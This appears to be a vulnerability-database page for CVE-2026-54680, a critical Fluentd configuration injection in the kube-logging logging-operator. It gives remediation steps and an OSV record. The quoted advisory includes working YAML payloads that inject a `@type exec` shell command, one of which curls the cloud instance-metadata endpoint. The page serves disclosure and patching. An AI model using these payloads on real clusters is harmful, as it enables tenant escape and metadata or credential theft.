Vulnerabilities in pkg:golang/github.com/kube-logging/logging-operator

PACKAGE
Advisory Identifier: GHSA-mjqf-28ph-426h
Advisory Summary

CVE-2026-54680 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Github.com/kube logging/logging operator libraries in the Go ecosystem. The issue involves logging operator has fluentd configuration injection that allows remote code execution. Remediation is available by upgrading affected packages to version 0.0.0-20260608145523-cf437d7f1e05.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/kube-logging/logging-operator

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/kube-logging/logging-operator. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-mjqf-28ph-426h CVE-2026-54680 CRITICAL Logging operator has Fluentd configuration injection that allows remote code execution

CVE-2026-54680 at a Glance

CVE Identifier CVE-2026-54680
GHSA Identifier GHSA-mjqf-28ph-426h
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Github.com/kube logging/logging operator
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54680

To remediate this vulnerability, upgrade all affected Github.com/kube logging/logging operator dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kube-logging/logging-operator fixed: 0.0.0-20260608145523-cf437d7f1e05
Upgrade github.com/kube-logging/logging-operator to 0.0.0-20260608145523-cf437d7f1e05
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kube-logging/logging-operator

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54680, inspect your project dependencies for Github.com/kube logging/logging operator:

inspect dependencies for github.com/kube-logging/logging-operator

Analyze the terminal output to locate any version of Github.com/kube logging/logging operator in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260608145523-cf437d7f1e05), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Github.com/kube logging/logging operator, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines. In the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator. ### Details The issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87 Each parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration. One input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103 The config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image. ### PoC The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`. First, create a minimal `Output` as the log destination. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Output metadata: name: sink namespace: tenant-a spec: nullout: {} ``` Next, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: exfil namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "id > /tmp/pwned" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ``` After applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`. ```sh kubectl apply -f output.yaml -f flow.yaml kubectl -n <control-namespace> get secret <logging>-fluentd-app \ -o go-template='{{ index .data "fluentd.conf" }}' \ | base64 -d | grep -A8 '@type exec' ``` When any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows. ```sh kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned # expected: uid=100(fluent) gid=101(fluent) groups=101(fluent) ``` ### Impact This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator. In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: imds-poc namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ```

CVE-2026-54680 Affected Github.com/kube logging/logging operator Versions

1 component(s)
Fixed Versions:
0.0.0-20260608145523-cf437d7f1e05
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kube-logging/logging-operator
Go
< 0.0.0-20260608145523-cf437d7f1e05
0.0.0-20260608145523-cf437d7f1e05

References

Frequently Asked Questions

What is CVE-2026-54680?
CVE-2026-54680 is a security vulnerability in Github.com/kube logging/logging operator involving Logging operator has Fluentd configuration injection that allows remote code execution under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Github.com/kube logging/logging operator versions are affected?
Affected versions include releases prior to 0.0.0-20260608145523-cf437d7f1e05 across affected packages: github.com/kube-logging/logging-operator.
What version fixes CVE-2026-54680?
Upgrading to 0.0.0-20260608145523-cf437d7f1e05 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kube-logging/logging-operator affected?
Yes, github.com/kube-logging/logging-operator is affected in releases prior to 0.0.0-20260608145523-cf437d7f1e05. Upgrade your dependency to 0.0.0-20260608145523-cf437d7f1e05 or later.
What is the CVSS score of CVE-2026-54680?
CVE-2026-54680 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54680?
CVE-2026-54680 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-54680?
Run the dependency tree command: 'inspect dependencies for github.com/kube-logging/logging-operator'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mjqf-28ph-426h",
  "modified" : "2026-07-29T17:01:29Z",
  "published" : "2026-07-29T17:01:29Z",
  "aliases" : [ "CVE-2026-54680" ],
  "summary" : "Logging operator has Fluentd configuration injection that allows remote code execution",
  "details" : "### Summary\n\nThe Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines.\n\nIn the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.\n\n### Details\n\nThe issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87\n\nEach parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration.\n\nOne input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103\n\nThe config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image.\n\n### PoC\n\nThe prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`.\n\nFirst, create a minimal `Output` as the log destination.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Output\nmetadata:\n  name: sink\n  namespace: tenant-a\nspec:\n  nullout: {}\n```\n\nNext, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: exfil\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              </record>\n              </filter>\n              <match **>\n                @type exec\n                command /bin/sh -c \"id > /tmp/pwned\"\n                <format>\n                  @type json\n                </format>\n                <buffer>\n                  flush_interval 1s\n                </buffer>\n              </match>\n              <filter dummy.**>\n                @type record_transformer\n                <record>\n                  absorbed y\n  localOutputRefs:\n    - sink\n```\n\nAfter applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`.\n\n```sh\nkubectl apply -f output.yaml -f flow.yaml\n\nkubectl -n <control-namespace> get secret <logging>-fluentd-app \\\n  -o go-template='{{ index .data \"fluentd.conf\" }}' \\\n  | base64 -d | grep -A8 '@type exec'\n```\n\nWhen any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.\n\n```sh\nkubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned\n# expected:\nuid=100(fluent) gid=101(fluent) groups=101(fluent)\n```\n\n### Impact\n\nThis is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.\nBecause the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator.\n\nIn environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: imds-poc\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              </record>\n              </filter>\n              <match **>\n                @type exec\n                command /bin/sh -c \"curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc\"\n                <format>\n                  @type json\n                </format>\n                <buffer>\n                  flush_interval 1s\n                </buffer>\n              </match>\n              <filter dummy.**>\n                @type record_transformer\n                <record>\n                  absorbed y\n  localOutputRefs:\n    - sink\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kube-logging/logging-operator"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260608145523-cf437d7f1e05"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kube-logging/logging-operator"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-77" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T17:01:29Z",
    "nvd_published_at" : null
  }
}